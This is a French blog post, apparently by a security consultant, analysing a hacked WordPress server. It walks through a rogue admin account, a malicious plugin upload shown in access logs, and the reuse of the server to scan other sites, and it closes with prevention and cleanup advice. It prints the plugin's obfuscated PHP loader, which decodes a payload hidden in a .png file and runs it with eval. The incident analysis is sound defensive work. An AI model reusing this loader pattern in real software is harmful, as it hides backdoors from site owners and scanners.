Anatomie de l'exploitation d'un site Wordpress piraté

Lecture de 9 minutes

Mise en contexte

Un client a reçu une alerte de son fournisseur d'hébergement, lui indiquant qu'un serveur lié à son compte était activement utilisé à des fins non légitimes. En effet, une recherche sur les services en ligne répertoriant la provenance des attaques en cours listait l'adresse IP du serveur à plusieurs reprises (27) au cours des 14 derniers jours.

De plus, l'utilisation du serveur démontrait bien quelque chose d'anormal : un nombre élevé de processus python étaient exécutés et utilisaient beaucoup de ressources.

J'ai donc été appelé afin de cibler la source du problème et pour l'enrayer.

En analysant les logs, les processus, le code en place et les indications d'abus, j'ai pu retracer le fils des événements et découvrir comment de cela a pu survenir.

Création d'une porte d'entrée

Les journaux (logs) du système ont démontré que, plusieurs mois avant l'exploitation du serveur à des fins malveillantes, un utilisateur administrateur avait été créé dans la base de données de Wordpress sans l'intervention de l'équipe responsable du système.

Capture d'écran de l'utilisateur malveillant

Tout laisse croire que cet utilisateur a été créé en utilisant une faille de Wordpress ou d'un plugin qui n'avait pas été corrigé ou été mis à jour.

Bien que l'utilisateur eut été créé à ce moment, il n'a pas été utilisé pendant plusieurs mois.

Faille de sécurité latente

Il s'est écoulé au moins 3 mois entre la création de la porte d'entrée (l'utilisateur Wordpress) et l'exploitation de la faille. Il faut aussi noter que les adresses IP utilisées pour ces deux étapes ne correspondaient pas, bien que tous les deux soient associés à la Russie.

Adresses utilisées

Trois hypothèses me semblent plausibles pour expliquer ce temps où la faille de sécurité n'a pas été exploitée :

  • Vente du compte utilisateur à une autre organisation : il est possible que la création de la porte d'entrée et que l'exploitation de la faille soit attribuables à deux groupes criminels, et que l'un vende les comptes créés (credentials) à l'autre.
  • Stratégie pour être plus discret : il est aussi possible qu'ils minimisent les chances d'être repéré de cette manière. En effet, il est plus difficile de lier la création du compte administrateur aux activités illicites subséquentes si plusieurs mois s'écoulent entre les deux événements.
  • Simplement une attaque en deux temps : il est possible que ce soit tout simplement le modus operandi . D'abord, on crée des portes d'entrée en masse sur plusieurs serveurs, puis on les exploite tous simultanément au moment où une masse critique de serveurs sont à la disposition des cyberpirates. Cela pourrait permettre une attaque plus forte et plus courte, maximisant les chances de réussite.

Installation du code malveillant

Installation

Au moment de l'installation du code malveillant, il y a eu une connexion à Wordpress avec un compte administrateur valide (celui créé précédemment). Puis, un plugin Wordpress contenant du code malveillant (dans ce cas-ci, il était nommé ezoteqyqo) a immédiatement téléchargé et activé.

[HACKER IP ADDRESS] - - [02/Sep/2024:00:02:31 -0400] "GET /wp-login.php HTTP/1.0" 200 3044 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0"
[HACKER IP ADDRESS] - - [02/Sep/2024:00:02:39 -0400] "POST /wp-login.php HTTP/1.0" 302 1665 "https://www.exemple.com/wp-login.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0"
[HACKER IP ADDRESS] - - [02/Sep/2024:00:02:56 -0400] "POST /wp-admin/update.php?action=upload-plugin HTTP/1.0" 200 36252 "https://www.exemple.com/wp-admin/plugin-install.php?tab=upload" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0"
[HACKER IP ADDRESS] - - [02/Sep/2024:00:03:13 -0400] "GET /wp-admin/plugins.php?action=activate&plugin=ezoteqyqo%2Fezoteqyqo.php&_wpnonce=1ca51e3599 HTTP/1.0" 302 1034 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0"

En moins de 45 secondes, le plugin était installé, rendant le serveur disponible aux cyberpirates.

Dossier du plugin

Encodage du plugin

Comme illustré dans la capture d'écran ci-dessus, le nom du plugin et les noms de ses fichiers sont une série de lettres aléatoires. Le noms des variables dans les quelques fichiers PHP sont aussi aléatoires et ne sont pas porteurs de sens.

De la même manière, le code qui y est exécuté est en quelque sorte encodé dans des chaînes de caractères à l'aide de base64 et d'une table de correspondance. Il s'agit d'un encodage rudimentaire, similaire au jeu d'enfant qui fait correspondre des lettres de l'alphabet à d'autres, de manière à ce que seulement celui qui a une copie de la table de correspondance soit en mesure de lire le message.

Mais dans ce cas, les tables de correspondance sont directement dans le plugin, donc l'idée n'est pas de protéger le code, mais bien de complexifier sa détection.

Une fois les chaînes de caractère décodées, ils sont exécutés à l'aide de la fonction @eval() de PHP, qui permet d'exécuter du texte comme s'il s'agissait de code source.

La majeur partie du code est encodée et stocké dans des fichiers avec des extensions d'image pour l'obscurcir encore davantage.

// La fonction qui transpose le contenu avec les valeurs de la table d'encodage
function ozitaxu_yfiqyzi($yhupema_cycyruw) {
    $onochaj = "Dr7i04HTSkiNOY4l6hMS3QP/p5sp=9URW15nd8+X1qqCZ2vuywu02oFehHkFwMtJcsobgLldmjY3jazArV86QtVzbc97exIWKOXPfmGB/ZNfJGRUEyBDxEAKCILga=Tvn+";;
    $adokyp = array();
    for ($imizhev = 0; $imizhev < strlen($onochaj); $imizhev += 2) {
        $depoha = substr($onochaj, $imizhev, 1);
        $shaxefa = substr($onochaj, $imizhev + 1, 1);
        $adokyp[$depoha] = $shaxefa;
    }
    $wehyto = strtr($yhupema_cycyruw, $adokyp);
    return base64_decode($wehyto);
}

// La fonction qui lit le contenu des fichiers avec des extensions d'images
function hyxavep_oqadeta($yhupema_cycyruw) {
    $owevik = @file_get_contents($yhupema_cycyruw);
    $owevik = substr($owevik, 3);
    return ozitaxu_yfiqyzi($owevik);
}

// Exécution du code avec @eval
$tejucep = hyxavep_oqadeta(__DIR__ . "/asset" . "s/imag" . "es/yn" . "ibug" . ".png");
if ($tejucep) @eval($tejucep);

Comme le nom du plugin, le nom des fichiers, le noms des variables, les tables de correspondances et par le fait même les contenus des fichiers sont différents à chaque installation, la détection du problème est très difficile pour les outils de détections standards, comme ImunifyAV.

En quoi consiste le plugin

Le plugin Wordpress sert tout simplement à installer un outil de piratage qui est agnostique, c'est-à-dire qu'il fonctionne sur n'importe quel système exécutant PHP, que ce soit avec ou sans Wordpress.

Il met à la disposition des cyberpirates une interface (UI) accessible avec un navigateur web. Par contre, il y a de forte chance qu'ils n'utilisent pas directement cette interface et mettent plutôt en place des manières d'automatiser l'envoi de commande à tous les serveurs infectés. Techniquement, il s'agirait simplement de créer un système de requête HTTP automatisé (POST) à ces points d'entrées maintenant disponibles sur le serveur, une tâche banale pour n'importe quel programmeur.

Capture d'écran animée UI

Exploitation du code malveillant

Immédiatement après son installation, l'outil a commencé à être exploité. Les sites qui recensent les attaques ont reçu des dizaines d’avis pour le serveur en quelques jours.

Liste des attaques dans AbuseIP

Il est possible d'exécuter à peu près n'importe quoi sur le serveur avec cet outil. La seule limitation est que ce sera exécuté avec les permissions (et les restrictions) de l'utilisateur système avec lequel PHP est exécuté.

Dans notre cas, un nombre anormal de processus Python étaient exécutés et utilisaient beaucoup de ressources. De plus, ces processus étaient liés à un seul utilisateur du système d'exploitation qui ne devait pas avoir recours aussi intensivement à des scripts Python. Cela a d'ailleurs permis de cibler le site infecté plus rapidement.

Processus malveillants dans htop

En liant ces informations, on peut en venir à la conclusion que le serveur exécutait entre autres des logiciels Python visant à en trouver des failles de sécurité sur d'autres serveurs, principalement sur des sites Wordpress.

Quel est l'intérêt d'un serveur pour un cyberpirate ?

Un serveur infiltré peut être utilisé à plusieurs fins :

  1. Comme dans notre cas, les serveurs peuvent être utilisés pour trouver des failles de sécurité sur d'autres sites. Ils peuvent potentiellement y créer des portes d'entrée pouvant être utilisées ultérieurement, ou vendues à d'autres groupes criminels.
  2. Les serveurs peuvent être utilisés pour leur puissance de GPUs/CPUs. Nous avons précédemment vu ces outils utilisés pour créer des cryptomonnaies (mining) pouvant être générées avec les CPUs (tel que Monero).
  3. Les serveurs peuvent être utilisés pour envoyer des courriels d'hameçonnage (SPAM).
  4. Les serveurs peuvent être utilisés pour héberger des microsites d'hameçonnage (par exemple des clones de page d'identification d'institutions bancaires pour voler les identifiants).
  5. Procéder au cryptage du serveur et demander une rançon (ramsonware).
  6. Voler des données privées (pour la revente, ou pour demander une rançon).

Conséquence sur les données privées

Lorsque des sites web contiennent des données privées, celles-ci peuvent aussi être mises en danger par de telles infiltrations. Il ne faut pas négliger cette menace, qui pourrait mettre en péril la crédibilité de votre entreprise et la sécurité de vos clients.

Comment éviter une telle situation

Éviter un cyberpiratage nécessite l'intervention de professionnels qui ont des connaissances sur un large spectre d'éléments qui composent un site web.

Voici quelques recommandations initiales pour l'équipe responsable d'un site web Wordpress :

  • Limitez le nombre de plugins et de thèmes utilisés sur votre site, et utilisez seulement des plugins très populaires d'auteurs ayant une bonne réputation.
  • Utilisez une version à jour de Wordpress, des plugins et des composantes du serveur.
  • Utilisez des mots de passe uniques et complexes. Idéalement, activez l'authentification à deux facteurs (2FA) pour les comptes.
  • Surveillez les comptes administrateurs actifs sur le site.
  • Désactivez la possibilité d'installer des plugins à partir de l'interface de Wordpress. L'installation de plugins devrait être faite par des personnes qui sont en mesure de lire le code et de comprendre les implications des plugins.
  • Désactivez les services de faible sécurité à votre serveur.
  • Faites des audits réguliers des plugins utilisés sur le site.
  • Faites des audits réguliers des comptes administrateur actifs sur le site.
  • Faites des audits réguliers des pratiques de sécurité en place.

N'hésitez pas à me contacter afin de réviser l'état de vos sites ou de vos applications. Vous pourrez ainsi vous assurer de mettre tout en œuvre pour vous protéger.

Quoi faire lorsque cela se produit

Comme les programmes malveillants mettent souvent en place des stratégies afin d'être réinstallés automatiquement même si on croit les avoir supprimés, il est essentiel d'avoir un processus clair et sans faille pour éradiquer la menace.

Voici quelques étapes clés :

  1. Faites un audit des plugins utilisés sur du site et éliminez ceux qui ne sont pas sécuritaires ou nécessaires.
  2. Faites un audit des comptes administrateur du site et supprimez ceux qui ne sont pas utiles ou n'ont pas été créés par votre équipe.
  3. Reconstruisez tous les fichiers de Wordpress à partir des codes sources originaux avec des versions à jour.
  4. Lorsque c'est possible, reconstruisez complètement l'environnement de serveur à partir d'une image de serveur initiale.
  5. Vérifiez que de bonnes pratiques de sécurité (configurations, outils, processus, etc.), autant au niveau de site web que du serveur, sont en place.

Il sera ensuite essentiel d'apporter des correctifs à vos méthodes de travail afin d'éviter que cela se reproduise.

Contactez-moi pour obtenir plus de détails sur la marche à suivre ou pour obtenir de l'aide afin de rétablir votre site et sécuriser votre environnement de serveur après une telle situation, ou encore mieux, avant que cela ne se produise...